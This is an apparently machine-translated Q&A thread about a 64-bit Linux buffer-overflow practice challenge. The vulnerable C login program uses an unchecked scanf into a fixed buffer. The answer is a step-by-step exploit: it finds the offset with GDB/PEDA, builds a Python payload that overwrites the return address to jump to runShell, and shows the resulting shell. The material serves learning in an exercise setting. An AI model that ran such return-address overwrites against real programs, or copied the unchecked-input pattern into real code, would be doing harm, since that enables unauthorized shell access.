2017-06-20 145 views
1

我一直在努力爲「緩衝區溢出linux 64位」挑戰測試程序。啓動程序時,它會提示輸入密碼。緩衝區溢出 - linux 64bit

其目的是在密碼字段處利用緩衝區溢出故障來訪問shell部分。因爲我是這個領域的初學者。我去網上學習了一些教程。在我的研究之前和期間,我在這個網站上多次下降,以便更好地瞭解main.c中的源代碼,也可以在下面的鏈接中找到。

我用GDBobjdump的在Linux上的斷點和拆卸。

調查結果/採取措施:

  • 進入存儲在RSP當我做的 外殼地址,這是一種在我的電腦0x555555559bd在 ASCII轉換的密碼。
  • 然後,我倒過來,我得到:½IUUUU
  • 當我輸入這個值作爲密碼時,我的地址0x555555559bd正好在RSP註冊表中。
  • 我也知道我可以粉碎RBP的值,例如鍵入:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa½IUUUU
  • 該地址寫在"½IUUUU"RBP

問:這就是我阻止我只是想知道我可以做做地址0x9bd跳什麼樣的注射?

這是包含源代碼和cc命令的文件: http://mtnb.be/test_login_overflow.rar

代碼:

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 

#define BANNER "\n\ 
BUFFER OVER FLOW TEST\n\ 
" 

char passwd[33] = {0}; 

void readPasswd(){ 
    FILE *file = fopen("/home/user/passwd", "r"); 
    if (!file){ 
    puts("ERROR: Unable to read /home/user/passwd"); 
    exit(1); 
    } 
    fread(passwd, 1, 32, file); 
} 

void runShell() 
{ 
    system("bash"); 
} 


int check_passwd(){ 
    char debug = 0; 
    char buffer[33] = {0}; 

    puts("Enter your password:"); 
    fflush(stdout); 
    scanf("%s", buffer); 

    if (debug){ 
    printf("runShell @ %p\n", runShell); 
    fflush(stdout); 
    } 
    if (strncmp(passwd, buffer, 32)) 
    return 0; 
    else 
    return 1; 
} 

void login() 
{ 
    while (1){ 
    if (check_passwd()) 
     break; 
    puts("Invalid password !"); 
    fflush(stdout); 
    } 
    puts("Welcome admin, here is your shell !"); 
    fflush(stdout); 
    runShell(); 
} 

int main() 
{ 
    char passwd[33] = {0}; 
    puts(BANNER); 
    fflush(stdout); 
    readPasswd(); 
    login(); 

    return 0; 
} 

回答

0

這是一個簡單的緩衝區溢出,你可以看到緩衝區溢出發生在scanf函數功能:

char buffer[33] = {0}; 

    puts("Enter your password:"); 
    fflush(stdout); 
    scanf("%s", buffer); 

利用它,首先你應該知道覆蓋指令程序(RIP)的偏移量並獲得執行控制權,

我用GDB + PEDA:

gdb-peda$ pattern create 100 input 
gdb-peda$ r < input 
... 
gdb-peda$ patts 
Registers contain pattern buffer: 
RBP+0 found at offset: 48 
Registers point to pattern buffer: 
[RSP] --> offset 56 - size ~44 
... 

現在,我們已經偏移利用緩衝區溢出。所以,我們可以得到EIP控制。

[[email protected] /tmp]$ python -c 'print "A"*56+"BBBBBBBB"' > input 


gdb-peda$ r < input 
... 
    0x4008b7 <check_passwd+174>: leave 
=> 0x4008b8 <check_passwd+175>: ret 
...  
[------------------------------------stack-------------------------------------] 
0000| 0x7fffffffe248 ("BBBBBBBB") 

我們知道,當ret指令被調用時,EIP將成爲堆棧頂部的地址。所以,我們更改te地址0x4007f9並運行shell。

[[email protected] /tmp]$ readelf -s bof 
... 
    60: 0000000000600ee0  0 NOTYPE GLOBAL DEFAULT 24 __data_start 
    61: 00000000004007f9 16 FUNC GLOBAL DEFAULT 13 runShell 
    62: 0000000000000000  0 NOTYPE WEAK DEFAULT UND __gmon_start__ 
... 

[[email protected] /tmp]$ python -c 'print "A"*56+"\xf9\x07\x40\x00\x00\x00\x00\x00"' > input 
[[email protected] /tmp]$ (cat input;cat) | ./bof 

BUFFER OVER FLOW TEST 

Enter your password: 
runShell @ 0x4007f9 
id 
uid=1000(manu) gid=1000(manu) grupos=1000(manu),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),119(bluetooth)